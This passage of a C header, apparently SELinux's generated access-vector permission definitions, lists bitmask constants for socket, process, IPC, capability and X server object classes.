RAWIP_SOCKET__CREATE 0x00000008UL #define RAWIP_SOCKET__GETATTR 0x00000010UL #define RAWIP_SOCKET__SETATTR 0x00000020UL #define RAWIP_SOCKET__LOCK 0x00000040UL #define RAWIP_SOCKET__RELABELFROM 0x00000080UL #define RAWIP_SOCKET__RELABELTO 0x00000100UL #define RAWIP_SOCKET__APPEND 0x00000200UL #define RAWIP_SOCKET__BIND 0x00000400UL #define RAWIP_SOCKET__CONNECT 0x00000800UL #define RAWIP_SOCKET__LISTEN 0x00001000UL #define RAWIP_SOCKET__ACCEPT 0x00002000UL #define RAWIP_SOCKET__GETOPT 0x00004000UL #define RAWIP_SOCKET__SETOPT 0x00008000UL #define RAWIP_SOCKET__SHUTDOWN 0x00010000UL #define RAWIP_SOCKET__RECVFROM 0x00020000UL #define RAWIP_SOCKET__SENDTO 0x00040000UL #define RAWIP_SOCKET__RECV_MSG 0x00080000UL #define RAWIP_SOCKET__SEND_MSG 0x00100000UL #define RAWIP_SOCKET__NAME_BIND 0x00200000UL #define RAWIP_SOCKET__NODE_BIND 0x00400000UL #define NODE__TCP_RECV 0x00000001UL #define NODE__TCP_SEND 0x00000002UL #define NODE__UDP_RECV 0x00000004UL #define NODE__UDP_SEND 0x00000008UL #define NODE__RAWIP_RECV 0x00000010UL #define NODE__RAWIP_SEND 0x00000020UL #define NODE__ENFORCE_DEST 0x00000040UL #define NODE__DCCP_RECV 0x00000080UL #define NODE__DCCP_SEND 0x00000100UL #define NODE__RECVFROM 0x00000200UL #define NODE__SENDTO 0x00000400UL #define NETIF__TCP_RECV 0x00000001UL #define NETIF__TCP_SEND 0x00000002UL #define NETIF__UDP_RECV 0x00000004UL #define NETIF__UDP_SEND 0x00000008UL #define NETIF__RAWIP_RECV 0x00000010UL #define NETIF__RAWIP_SEND 0x00000020UL #define NETIF__DCCP_RECV 0x00000040UL #define NETIF__DCCP_SEND 0x00000080UL #define NETIF__INGRESS 0x00000100UL #define NETIF__EGRESS 0x00000200UL #define NETLINK_SOCKET__IOCTL 0x00000001UL #define NETLINK_SOCKET__READ 0x00000002UL #define NETLINK_SOCKET__WRITE 0x00000004UL #define NETLINK_SOCKET__CREATE 0x00000008UL #define NETLINK_SOCKET__GETATTR 0x00000010UL #define NETLINK_SOCKET__SETATTR 0x00000020UL #define NETLINK_SOCKET__LOCK 0x00000040UL #define NETLINK_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_SOCKET__RELABELTO 0x00000100UL #define NETLINK_SOCKET__APPEND 0x00000200UL #define NETLINK_SOCKET__BIND 0x00000400UL #define NETLINK_SOCKET__CONNECT 0x00000800UL #define NETLINK_SOCKET__LISTEN 0x00001000UL #define NETLINK_SOCKET__ACCEPT 0x00002000UL #define NETLINK_SOCKET__GETOPT 0x00004000UL #define NETLINK_SOCKET__SETOPT 0x00008000UL #define NETLINK_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_SOCKET__RECVFROM 0x00020000UL #define NETLINK_SOCKET__SENDTO 0x00040000UL #define NETLINK_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_SOCKET__NAME_BIND 0x00200000UL #define PACKET_SOCKET__IOCTL 0x00000001UL #define PACKET_SOCKET__READ 0x00000002UL #define PACKET_SOCKET__WRITE 0x00000004UL #define PACKET_SOCKET__CREATE 0x00000008UL #define PACKET_SOCKET__GETATTR 0x00000010UL #define PACKET_SOCKET__SETATTR 0x00000020UL #define PACKET_SOCKET__LOCK 0x00000040UL #define PACKET_SOCKET__RELABELFROM 0x00000080UL #define PACKET_SOCKET__RELABELTO 0x00000100UL #define PACKET_SOCKET__APPEND 0x00000200UL #define PACKET_SOCKET__BIND 0x00000400UL #define PACKET_SOCKET__CONNECT 0x00000800UL #define PACKET_SOCKET__LISTEN 0x00001000UL #define PACKET_SOCKET__ACCEPT 0x00002000UL #define PACKET_SOCKET__GETOPT 0x00004000UL #define PACKET_SOCKET__SETOPT 0x00008000UL #define PACKET_SOCKET__SHUTDOWN 0x00010000UL #define PACKET_SOCKET__RECVFROM 0x00020000UL #define PACKET_SOCKET__SENDTO 0x00040000UL #define PACKET_SOCKET__RECV_MSG 0x00080000UL #define PACKET_SOCKET__SEND_MSG 0x00100000UL #define PACKET_SOCKET__NAME_BIND 0x00200000UL #define KEY_SOCKET__IOCTL 0x00000001UL #define KEY_SOCKET__READ 0x00000002UL #define KEY_SOCKET__WRITE 0x00000004UL #define KEY_SOCKET__CREATE 0x00000008UL #define KEY_SOCKET__GETATTR 0x00000010UL #define KEY_SOCKET__SETATTR 0x00000020UL #define KEY_SOCKET__LOCK 0x00000040UL #define KEY_SOCKET__RELABELFROM 0x00000080UL #define KEY_SOCKET__RELABELTO 0x00000100UL #define KEY_SOCKET__APPEND 0x00000200UL #define KEY_SOCKET__BIND 0x00000400UL #define KEY_SOCKET__CONNECT 0x00000800UL #define KEY_SOCKET__LISTEN 0x00001000UL #define KEY_SOCKET__ACCEPT 0x00002000UL #define KEY_SOCKET__GETOPT 0x00004000UL #define KEY_SOCKET__SETOPT 0x00008000UL #define KEY_SOCKET__SHUTDOWN 0x00010000UL #define KEY_SOCKET__RECVFROM 0x00020000UL #define KEY_SOCKET__SENDTO 0x00040000UL #define KEY_SOCKET__RECV_MSG 0x00080000UL #define KEY_SOCKET__SEND_MSG 0x00100000UL #define KEY_SOCKET__NAME_BIND 0x00200000UL #define UNIX_STREAM_SOCKET__IOCTL 0x00000001UL #define UNIX_STREAM_SOCKET__READ 0x00000002UL #define UNIX_STREAM_SOCKET__WRITE 0x00000004UL #define UNIX_STREAM_SOCKET__CREATE 0x00000008UL #define UNIX_STREAM_SOCKET__GETATTR 0x00000010UL #define UNIX_STREAM_SOCKET__SETATTR 0x00000020UL #define UNIX_STREAM_SOCKET__LOCK 0x00000040UL #define UNIX_STREAM_SOCKET__RELABELFROM 0x00000080UL #define UNIX_STREAM_SOCKET__RELABELTO 0x00000100UL #define UNIX_STREAM_SOCKET__APPEND 0x00000200UL #define UNIX_STREAM_SOCKET__BIND 0x00000400UL #define UNIX_STREAM_SOCKET__CONNECT 0x00000800UL #define UNIX_STREAM_SOCKET__LISTEN 0x00001000UL #define UNIX_STREAM_SOCKET__ACCEPT 0x00002000UL #define UNIX_STREAM_SOCKET__GETOPT 0x00004000UL #define UNIX_STREAM_SOCKET__SETOPT 0x00008000UL #define UNIX_STREAM_SOCKET__SHUTDOWN 0x00010000UL #define UNIX_STREAM_SOCKET__RECVFROM 0x00020000UL #define UNIX_STREAM_SOCKET__SENDTO 0x00040000UL #define UNIX_STREAM_SOCKET__RECV_MSG 0x00080000UL #define UNIX_STREAM_SOCKET__SEND_MSG 0x00100000UL #define UNIX_STREAM_SOCKET__NAME_BIND 0x00200000UL #define UNIX_STREAM_SOCKET__CONNECTTO 0x00400000UL #define UNIX_STREAM_SOCKET__NEWCONN 0x00800000UL #define UNIX_STREAM_SOCKET__ACCEPTFROM 0x01000000UL #define UNIX_DGRAM_SOCKET__IOCTL 0x00000001UL #define UNIX_DGRAM_SOCKET__READ 0x00000002UL #define UNIX_DGRAM_SOCKET__WRITE 0x00000004UL #define UNIX_DGRAM_SOCKET__CREATE 0x00000008UL #define UNIX_DGRAM_SOCKET__GETATTR 0x00000010UL #define UNIX_DGRAM_SOCKET__SETATTR 0x00000020UL #define UNIX_DGRAM_SOCKET__LOCK 0x00000040UL #define UNIX_DGRAM_SOCKET__RELABELFROM 0x00000080UL #define UNIX_DGRAM_SOCKET__RELABELTO 0x00000100UL #define UNIX_DGRAM_SOCKET__APPEND 0x00000200UL #define UNIX_DGRAM_SOCKET__BIND 0x00000400UL #define UNIX_DGRAM_SOCKET__CONNECT 0x00000800UL #define UNIX_DGRAM_SOCKET__LISTEN 0x00001000UL #define UNIX_DGRAM_SOCKET__ACCEPT 0x00002000UL #define UNIX_DGRAM_SOCKET__GETOPT 0x00004000UL #define UNIX_DGRAM_SOCKET__SETOPT 0x00008000UL #define UNIX_DGRAM_SOCKET__SHUTDOWN 0x00010000UL #define UNIX_DGRAM_SOCKET__RECVFROM 0x00020000UL #define UNIX_DGRAM_SOCKET__SENDTO 0x00040000UL #define UNIX_DGRAM_SOCKET__RECV_MSG 0x00080000UL #define UNIX_DGRAM_SOCKET__SEND_MSG 0x00100000UL #define UNIX_DGRAM_SOCKET__NAME_BIND 0x00200000UL #define PROCESS__FORK 0x00000001UL #define PROCESS__TRANSITION 0x00000002UL #define PROCESS__SIGCHLD 0x00000004UL #define PROCESS__SIGKILL 0x00000008UL #define PROCESS__SIGSTOP 0x00000010UL #define PROCESS__SIGNULL 0x00000020UL #define PROCESS__SIGNAL 0x00000040UL #define PROCESS__PTRACE 0x00000080UL #define PROCESS__GETSCHED 0x00000100UL #define PROCESS__SETSCHED 0x00000200UL #define PROCESS__GETSESSION 0x00000400UL #define PROCESS__GETPGID 0x00000800UL #define PROCESS__SETPGID 0x00001000UL #define PROCESS__GETCAP 0x00002000UL #define PROCESS__SETCAP 0x00004000UL #define PROCESS__SHARE 0x00008000UL #define PROCESS__GETATTR 0x00010000UL #define PROCESS__SETEXEC 0x00020000UL #define PROCESS__SETFSCREATE 0x00040000UL #define PROCESS__NOATSECURE 0x00080000UL #define PROCESS__SIGINH 0x00100000UL #define PROCESS__SETRLIMIT 0x00200000UL #define PROCESS__RLIMITINH 0x00400000UL #define PROCESS__DYNTRANSITION 0x00800000UL #define PROCESS__SETCURRENT 0x01000000UL #define PROCESS__EXECMEM 0x02000000UL #define PROCESS__EXECSTACK 0x04000000UL #define PROCESS__EXECHEAP 0x08000000UL #define PROCESS__SETKEYCREATE 0x10000000UL #define PROCESS__SETSOCKCREATE 0x20000000UL #define IPC__CREATE 0x00000001UL #define IPC__DESTROY 0x00000002UL #define IPC__GETATTR 0x00000004UL #define IPC__SETATTR 0x00000008UL #define IPC__READ 0x00000010UL #define IPC__WRITE 0x00000020UL #define IPC__ASSOCIATE 0x00000040UL #define IPC__UNIX_READ 0x00000080UL #define IPC__UNIX_WRITE 0x00000100UL #define SEM__CREATE 0x00000001UL #define SEM__DESTROY 0x00000002UL #define SEM__GETATTR 0x00000004UL #define SEM__SETATTR 0x00000008UL #define SEM__READ 0x00000010UL #define SEM__WRITE 0x00000020UL #define SEM__ASSOCIATE 0x00000040UL #define SEM__UNIX_READ 0x00000080UL #define SEM__UNIX_WRITE 0x00000100UL #define MSGQ__CREATE 0x00000001UL #define MSGQ__DESTROY 0x00000002UL #define MSGQ__GETATTR 0x00000004UL #define MSGQ__SETATTR 0x00000008UL #define MSGQ__READ 0x00000010UL #define MSGQ__WRITE 0x00000020UL #define MSGQ__ASSOCIATE 0x00000040UL #define MSGQ__UNIX_READ 0x00000080UL #define MSGQ__UNIX_WRITE 0x00000100UL #define MSGQ__ENQUEUE 0x00000200UL #define MSG__SEND 0x00000001UL #define MSG__RECEIVE 0x00000002UL #define SHM__CREATE 0x00000001UL #define SHM__DESTROY 0x00000002UL #define SHM__GETATTR 0x00000004UL #define SHM__SETATTR 0x00000008UL #define SHM__READ 0x00000010UL #define SHM__WRITE 0x00000020UL #define SHM__ASSOCIATE 0x00000040UL #define SHM__UNIX_READ 0x00000080UL #define SHM__UNIX_WRITE 0x00000100UL #define SHM__LOCK 0x00000200UL #define SECURITY__COMPUTE_AV 0x00000001UL #define SECURITY__COMPUTE_CREATE 0x00000002UL #define SECURITY__COMPUTE_MEMBER 0x00000004UL #define SECURITY__CHECK_CONTEXT 0x00000008UL #define SECURITY__LOAD_POLICY 0x00000010UL #define SECURITY__COMPUTE_RELABEL 0x00000020UL #define SECURITY__COMPUTE_USER 0x00000040UL #define SECURITY__SETENFORCE 0x00000080UL #define SECURITY__SETBOOL 0x00000100UL #define SECURITY__SETSECPARAM 0x00000200UL #define SECURITY__SETCHECKREQPROT 0x00000400UL #define SYSTEM__IPC_INFO 0x00000001UL #define SYSTEM__SYSLOG_READ 0x00000002UL #define SYSTEM__SYSLOG_MOD 0x00000004UL #define SYSTEM__SYSLOG_CONSOLE 0x00000008UL #define CAPABILITY__CHOWN 0x00000001UL #define CAPABILITY__DAC_OVERRIDE 0x00000002UL #define CAPABILITY__DAC_READ_SEARCH 0x00000004UL #define CAPABILITY__FOWNER 0x00000008UL #define CAPABILITY__FSETID 0x00000010UL #define CAPABILITY__KILL 0x00000020UL #define CAPABILITY__SETGID 0x00000040UL #define CAPABILITY__SETUID 0x00000080UL #define CAPABILITY__SETPCAP 0x00000100UL #define CAPABILITY__LINUX_IMMUTABLE 0x00000200UL #define CAPABILITY__NET_BIND_SERVICE 0x00000400UL #define CAPABILITY__NET_BROADCAST 0x00000800UL #define CAPABILITY__NET_ADMIN 0x00001000UL #define CAPABILITY__NET_RAW 0x00002000UL #define CAPABILITY__IPC_LOCK 0x00004000UL #define CAPABILITY__IPC_OWNER 0x00008000UL #define CAPABILITY__SYS_MODULE 0x00010000UL #define CAPABILITY__SYS_RAWIO 0x00020000UL #define CAPABILITY__SYS_CHROOT 0x00040000UL #define CAPABILITY__SYS_PTRACE 0x00080000UL #define CAPABILITY__SYS_PACCT 0x00100000UL #define CAPABILITY__SYS_ADMIN 0x00200000UL #define CAPABILITY__SYS_BOOT 0x00400000UL #define CAPABILITY__SYS_NICE 0x00800000UL #define CAPABILITY__SYS_RESOURCE 0x01000000UL #define CAPABILITY__SYS_TIME 0x02000000UL #define CAPABILITY__SYS_TTY_CONFIG 0x04000000UL #define CAPABILITY__MKNOD 0x08000000UL #define CAPABILITY__LEASE 0x10000000UL #define CAPABILITY__AUDIT_WRITE 0x20000000UL #define CAPABILITY__AUDIT_CONTROL 0x40000000UL #define CAPABILITY__SETFCAP 0x80000000UL #define CAPABILITY2__MAC_OVERRIDE 0x00000001UL #define CAPABILITY2__MAC_ADMIN 0x00000002UL #define PASSWD__PASSWD 0x00000001UL #define PASSWD__CHFN 0x00000002UL #define PASSWD__CHSH 0x00000004UL #define PASSWD__ROOTOK 0x00000008UL #define PASSWD__CRONTAB 0x00000010UL #define X_DRAWABLE__CREATE 0x00000001UL #define X_DRAWABLE__DESTROY 0x00000002UL #define X_DRAWABLE__READ 0x00000004UL #define X_DRAWABLE__WRITE 0x00000008UL #define X_DRAWABLE__BLEND 0x00000010UL #define X_DRAWABLE__GETATTR 0x00000020UL #define X_DRAWABLE__SETATTR 0x00000040UL #define X_DRAWABLE__LIST_CHILD 0x00000080UL #define X_DRAWABLE__ADD_CHILD 0x00000100UL #define X_DRAWABLE__REMOVE_CHILD 0x00000200UL #define X_DRAWABLE__LIST_PROPERTY 0x00000400UL #define X_DRAWABLE__GET_PROPERTY 0x00000800UL #define X_DRAWABLE__SET_PROPERTY 0x00001000UL #define X_DRAWABLE__MANAGE 0x00002000UL #define X_DRAWABLE__OVERRIDE 0x00004000UL #define X_DRAWABLE__SHOW 0x00008000UL #define X_DRAWABLE__HIDE 0x00010000UL #define X_DRAWABLE__SEND 0x00020000UL #define X_DRAWABLE__RECEIVE 0x00040000UL #define X_SCREEN__GETATTR 0x00000001UL #define X_SCREEN__SETATTR 0x00000002UL #define X_SCREEN__HIDE_CURSOR 0x00000004UL #define X_SCREEN__SHOW_CURSOR 0x00000008UL #define X_SCREEN__SAVER_GETATTR 0x00000010UL #define X_SCREEN__SAVER_SETATTR 0x00000020UL #define X_SCREEN__SAVER_HIDE 0x00000040UL #define X_SCREEN__SAVER_SHOW 0x00000080UL #define X_GC__CREATE 0x00000001UL #define X_GC__DESTROY 0x00000002UL #define X_GC__GETATTR 0x00000004UL #define X_GC__SETATTR 0x00000008UL #define X_GC__USE 0x00000010UL #define X_FONT__CREATE 0x00000001UL #define X_FONT__DESTROY 0x00000002UL #define X_FONT__GETATTR 0x00000004UL #define X_FONT__ADD_GLYPH 0x00000008UL #define X_FONT__REMOVE_GLYPH 0x00000010UL #define X_FONT__USE 0x00000020UL #define X_COLORMAP__CREATE 0x00000001UL #define X_COLORMAP__DESTROY 0x00000002UL #define X_COLORMAP__READ 0x00000004UL #define X_COLORMAP__WRITE 0x00000008UL #define X_COLORMAP__GETATTR 0x00000010UL #define X_COLORMAP__ADD_COLOR 0x00000020UL #define X_COLORMAP__REMOVE_COLOR 0x00000040UL #define X_COLORMAP__INSTALL 0x00000080UL #define X_COLORMAP__UNINSTALL 0x00000100UL #define X_COLORMAP__USE 0x00000200UL #define X_PROPERTY__CREATE 0x00000001UL #define X_PROPERTY__DESTROY 0x00000002UL #define X_PROPERTY__READ 0x00000004UL #define X_PROPERTY__WRITE 0x00000008UL #define X_PROPERTY__APPEND 0x00000010UL #define X_PROPERTY__GETATTR 0x00000020UL #define X_PROPERTY__SETATTR 0x00000040UL #define X_SELECTION__READ 0x00000001UL #define X_SELECTION__WRITE 0x00000002UL #define X_SELECTION__GETATTR 0x00000004UL #define X_SELECTION__SETATTR 0x00000008UL #define X_CURSOR__CREATE 0x00000001UL #define X_CURSOR__DESTROY 0x00000002UL #define X_CURSOR__READ 0x00000004UL #define X_CURSOR__WRITE 0x00000008UL #define X_CURSOR__GETATTR 0x00000010UL #define X_CURSOR__SETATTR 0x00000020UL #define X_CURSOR__USE 0x00000040UL #define X_CLIENT__DESTROY 0x00000001UL #define X_CLIENT__GETATTR 0x00000002UL #define X_CLIENT__SETATTR 0x00000004UL #define X_CLIENT__MANAGE 0x00000008UL #define X_DEVICE__GETATTR 0x00000001UL #define X_DEVICE__SETATTR 0x00000002UL #define X_DEVICE__USE 0x00000004UL #define X_DEVICE__READ 0x00000008UL #define X_DEVICE__WRITE 0x00000010UL #define X_DEVICE__GETFOCUS 0x00000020UL #define X_DEVICE__SETFOCUS 0x00000040UL #define X_DEVICE__BELL 0x00000080UL #define X_DEVICE__FORCE_CURSOR 0x00000100UL #define X_DEVICE__FREEZE 0x00000200UL #define X_DEVICE__GRAB 0x00000400UL #define X_DEVICE__MANAGE 0x00000800UL #define X_SERVER__GETATTR 0x00000001UL #define X_SERVER__SETATTR 0x00000002UL #define X_SERVER__RECORD 0x00000004UL #define X_SERVER__DEBUG 0x00000008UL #define X_SERVER__GRAB 0x00000010UL #define X_SERVER__MANAGE 0x00000020UL #define X_EXTENSION__QUERY 0x00000001UL #define X_EXTENSION__USE 0x00000002UL #define X_RESOURCE__READ 0x00000001UL #define X_RESOURCE__WRITE 0x00000002UL #define X_EVENT__SEND 0x00000001UL #define X_EVENT__RECEIVE 0x00000002UL #define X_SYNTHETIC_EVENT__SEND 0x00000001UL #define X_SYNTHETIC_EVENT__RECEIVE 0x00000002UL #define NETLINK_ROUTE_SOCKET__IOCTL 0x00000001UL #define NETLINK_ROUTE_SOCKET__READ 0x00000002UL #define NETLINK_ROUTE_SOCKET__WRITE 0x00000004UL #define NETLINK_ROUTE_SOCKET__CREATE 0x00000008UL #define NETLINK_ROUTE_SOCKET__GETATTR 0x00000010UL #define NETLINK_ROUTE_SOCKET__SETATTR 0x00000020UL #define NETLINK_ROUTE_SOCKET__LOCK 0x00000040UL #define NETLINK_ROUTE_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_ROUTE_SOCKET__RELABELTO 0x00000100UL #define NETLINK_ROUTE_SOCKET__APPEND 0x00000200UL #define NETLINK_ROUTE_SOCKET__BIND 0x00000400UL #define NETLINK_ROUTE_SOCKET__CONNECT 0x00000800UL #define NETLINK_ROUTE_SOCKET__LISTEN 0x00001000UL #define NETLINK_ROUTE_SOCKET__ACCEPT 0x00002000UL #define NETLINK_ROUTE_SOCKET__GETOPT 0x00004000UL #define NETLINK_ROUTE_SOCKET__SETOPT 0x00008000UL #define NETLINK_ROUTE_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_ROUTE_SOCKET__RECVFROM 0x00020000UL #define NETLINK_ROUTE_SOCKET__SENDTO 0x00040000UL #define NETLINK_ROUTE_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_ROUTE_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_ROUTE_SOCKET__NAME_BIND 0x00200000UL #define NETLINK_ROUTE_SOCKET__NLMSG_READ 0x00400000UL #define NETLINK_ROUTE_SOCKET__NLMSG_WRITE 0x00800000UL #define NETLINK_FIREWALL_SOCKET__IOCTL 0x00000001UL #define NETLINK_FIREWALL_SOCKET__READ 0x00000002UL #define NETLINK_FIREWALL_SOCKET__WRITE 0x00000004UL #define NETLINK_FIREWALL_SOCKET__CREATE 0x00000008UL #define NETLINK_FIREWALL_SOCKET__GETATTR 0x00000010UL #define NETLINK_FIREWALL_SOCKET__SETATTR 0x00000020UL #define NETLINK_FIREWALL_SOCKET__LOCK 0x00000040UL #define NETLINK_FIREWALL_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_FIREWALL_SOCKET__RELABELTO 0x00000100UL #define NETLINK_FIREWALL_SOCKET__APPEND 0x00000200UL #define NETLINK_FIREWALL_SOCKET__BIND 0x00000400UL #define NETLINK_FIREWALL_SOCKET__CONNECT 0x00000800UL #define NETLINK_FIREWALL_SOCKET__LISTEN 0x00001000UL #define NETLINK_FIREWALL_SOCKET__ACCEPT 0x00002000UL #define NETLINK_FIREWALL_SOCKET__GETOPT 0x00004000UL #define NETLINK_FIREWALL_SOCKET__SETOPT 0x00008000UL #define NETLINK_FIREWALL_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_FIREWALL_SOCKET__RECVFROM 0x00020000UL #define NETLINK_FIREWALL_SOCKET__SENDTO 0x00040000UL #define NETLINK_FIREWALL_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_FIREWALL_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_FIREWALL_SOCKET__NAME_BIND 0x00200000UL #define NETLINK_FIREWALL_SOCKET__NLMSG_READ 0x00400000UL #define NETLINK_FIREWALL_SOCKET__NLMSG_WRITE 0x00800000UL #define NETLINK_TCPDIAG_SOCKET__IOCTL 0x00000001UL #define NETLINK_TCPDIAG_SOCKET__READ 0x00000002UL #define NETLINK_TCPDIAG_SOCKET__WRITE 0x00000004UL #define NETLINK_TCPDIAG_SOCKET__CREATE 0x00000008UL #define NETLINK_TCPDIAG_SOCKET__GETATTR 0x00000010UL #define NETLINK_TCPDIAG_SOCKET__SETATTR 0x00000020UL #define NETLINK_TCPDIAG_SOCKET__LOCK 0x00000040UL #define NETLINK_TCPDIAG_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_TCPDIAG_SOCKET__RELABELTO 0x00000100UL #define NETLINK_TCPDIAG_SOCKET__APPEND 0x00000200UL #define NETLINK_TCPDIAG_SOCKET__BIND 0x00000400UL #define NETLINK_TCPDIAG_SOCKET__CONNECT 0x00000800UL #define NETLINK_TCPDIAG_SOCKET__LISTEN 0x00001000UL #define NETLINK_TCPDIAG_SOCKET__ACCEPT 0x00002000UL #define NETLINK_TCPDIAG_SOCKET__GETOPT 0x00004000UL #define NETLINK_TCPDIAG_SOCKET__SETOPT 0x00008000UL #define NETLINK_TCPDIAG_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_TCPDIAG_SOCKET__RECVFROM 0x00020000UL #define NETLINK_TCPDIAG_SOCKET__SENDTO 0x00040000UL #define NETLINK_TCPDIAG_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_TCPDIAG_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_TCPDIAG_SOCKET__NAME_BIND 0x00200000UL #define NETLINK_TCPDIAG_SOCKET__NLMSG_READ 0x00400000UL #define NETLINK_TCPDIAG_SOCKET__NLMSG_WRITE 0x00800000UL #define NETLINK_NFLOG_SOCKET__IOCTL 0x00000001UL #define NETLINK_NFLOG_SOCKET__READ 0x00000002UL #define NETLINK_NFLOG_SOCKET__WRITE 0x00000004UL #define NETLINK_NFLOG_SOCKET__CREATE 0x00000008UL #define NETLINK_NFLOG_SOCKET__GETATTR 0x00000010UL #define NETLINK_NFLOG_SOCKET__SETATTR 0x00000020UL #define NETLINK_NFLOG_SOCKET__LOCK 0x00000040UL #define NETLINK_NFLOG_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_NFLOG_SOCKET__RELABELTO 0x00000100UL #define NETLINK_NFLOG_SOCKET__APPEND 0x00000200UL #define NETLINK_NFLOG_SOCKET__BIND 0x00000400UL #define NETLINK_NFLOG_SOCKET__CONNECT 0x00000800UL #define NETLINK_NFLOG_SOCKET__LISTEN 0x00001000UL #define NETLINK_NFLOG_SOCKET__ACCEPT 0x00002000UL #define NETLINK_NFLOG_SOCKET__GETOPT 0x00004000UL #define NETLINK_NFLOG_SOCKET__SETOPT 0x00008000UL #define NETLINK_NFLOG_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_NFLOG_SOCKET__RECVFROM 0x00020000UL #define NETLINK_NFLOG_SOCKET__SENDTO 0x00040000UL #define NETLINK_NFLOG_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_NFLOG_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_NFLOG_SOCKET__NAME_BIND 0x00200000UL #define NETLINK_XFRM_SOCKET__IOCTL 0x00000001UL #define NETLINK_XFRM_SOCKET__READ 0x00000002UL #define NETLINK_XFRM_SOCKET__WRITE 0x00000004UL #define NETLINK_XFRM_SOCKET__CREATE 0x00000008UL #define NETLINK_XFRM_SOCKET__GETATTR 0x00000010UL #define NETLINK_XFRM_SOCKET__SETATTR 0x00000020UL #define NETLINK_XFRM_SOCKET__LOCK 0x00000040UL #define NETLINK_XFRM_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_XFRM_SOCKET__RELABELTO 0x00000100UL #define NETLINK_XFRM_SOCKET__APPEND 0x00000200UL #define NETLINK_XFRM_SOCKET__BIND 0x00000400UL #define NETLINK_XFRM_SOCKET__CONNECT 0x00000800UL #define NETLINK_XFRM_SOCKET__LISTEN 0x00001000UL #define NETLINK_XFRM_SOCKET__ACCEPT 0x00002000UL #define NETLINK_XFRM_SOCKET__GETOPT 0x00004000UL #define NETLINK_XFRM_SOCKET__SETOPT 0x00008000UL #define NETLINK_XFRM_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_XFRM_SOCKET__RECVFROM 0x00020000UL #define NETLINK_XFRM_SOCKET__SENDTO 0x00040000UL #define NETLINK_XFRM_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_XFRM_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_XFRM_SOCKET__NAME_BIND 0x00200000UL #define NETLINK_XFRM_SOCKET__NLMSG_READ 0x00400000UL #define NETLINK_XFRM_SOCKET__NLMSG_WRITE 0x00800000UL #define NETLINK_SELINUX_SOCKET__IOCTL 0x00000001UL #define NETLINK_SELINUX_SOCKET__READ 0x00000002UL #define NETLINK_SELINUX_SOCKET__WRITE 0x00000004UL #define NETLINK_SELINUX_SOCKET__CREATE 0x00000008UL #define NETLINK_SELINUX_SOCKET__GETATTR 0x00000010UL #define NETLINK_SELINUX_SOCKET__SETATTR 0x00000020UL #define NETLINK_SELINUX_SOCKET__LOCK 0x00000040UL #define NETLINK_SELINUX_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_SELINUX_SOCKET__RELABELTO 0x00000100UL #define NETLINK_SELINUX_SOCKET__APPEND 0x00000200UL #define NETLINK_SELINUX_SOCKET__BIND 0x00000400UL #define NETLINK_SELINUX_SOCKET__CONNECT 0x00000800UL #define NETLINK_SELINUX_SOCKET__LISTEN 0x00001000UL #define NETLINK_SELINUX_SOCKET__ACCEPT 0x00002000UL #define NETLINK_SELINUX_SOCKET__GETOPT 0x00004000UL #define NETLINK_SELINUX_SOCKET__SETOPT 0x00008000UL #define NETLINK_SELINUX_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_SELINUX_SOCKET__RECVFROM 0x00020000UL #define NETLINK_SELINUX_SOCKET__SENDTO 0x00040000UL #define NETLINK_SELINUX_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_SELINUX_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_SELINUX_SOCKET__NAME_BIND 0x00200000UL #define NETLINK_AUDIT_SOCKET__IOCTL 0x00000001UL #define NETLINK_AUDIT_SOCKET__READ 0x00000002UL #define NETLINK_AUDIT_SOCKET__WRITE 0x00000004UL #define NETLINK_AUDIT_SOCKET__CREATE 0x00000008UL #define NETLINK_AUDIT_SOCKET__GETATTR 0x00000010UL #define NETLINK_AUDIT_SOCKET__SETATTR 0x00000020UL #define NETLINK_AUDIT_SOCKET__LOCK 0x00000040UL #define NETLINK_AUDIT_SOCKET__RELABELFROM 0x00000080UL #define NETLINK_AUDIT_SOCKET__RELABELTO 0x00000100UL #define NETLINK_AUDIT_SOCKET__APPEND 0x00000200UL #define NETLINK_AUDIT_SOCKET__BIND 0x00000400UL #define NETLINK_AUDIT_SOCKET__CONNECT 0x00000800UL #define NETLINK_AUDIT_SOCKET__LISTEN 0x00001000UL #define NETLINK_AUDIT_SOCKET__ACCEPT 0x00002000UL #define NETLINK_AUDIT_SOCKET__GETOPT 0x00004000UL #define NETLINK_AUDIT_SOCKET__SETOPT 0x00008000UL #define NETLINK_AUDIT_SOCKET__SHUTDOWN 0x00010000UL #define NETLINK_AUDIT_SOCKET__RECVFROM 0x00020000UL #define NETLINK_AUDIT_SOCKET__SENDTO 0x00040000UL #define NETLINK_AUDIT_SOCKET__RECV_MSG 0x00080000UL #define NETLINK_AUDIT_SOCKET__SEND_MSG 0x00100000UL #define NETLINK_AUDIT_SOCKET__NAME_BIND 0x00200000UL #define NETLINK_AUDIT_SOCKET__NLMSG_READ 0x00400000UL #define NETLINK_AUDIT_SOCKET__NLMSG_WRITE 0x00800000UL #define NETLINK_AUDIT_SOCKET__NLMSG_RELAY 0x01000000UL #define NETLINK_AUDIT_SOCKET__NLMSG_READPRIV 0x02000000UL #define NETLINK_AUDIT_SOCKET__NLMSG_TTY_AUDIT 0x04000000UL 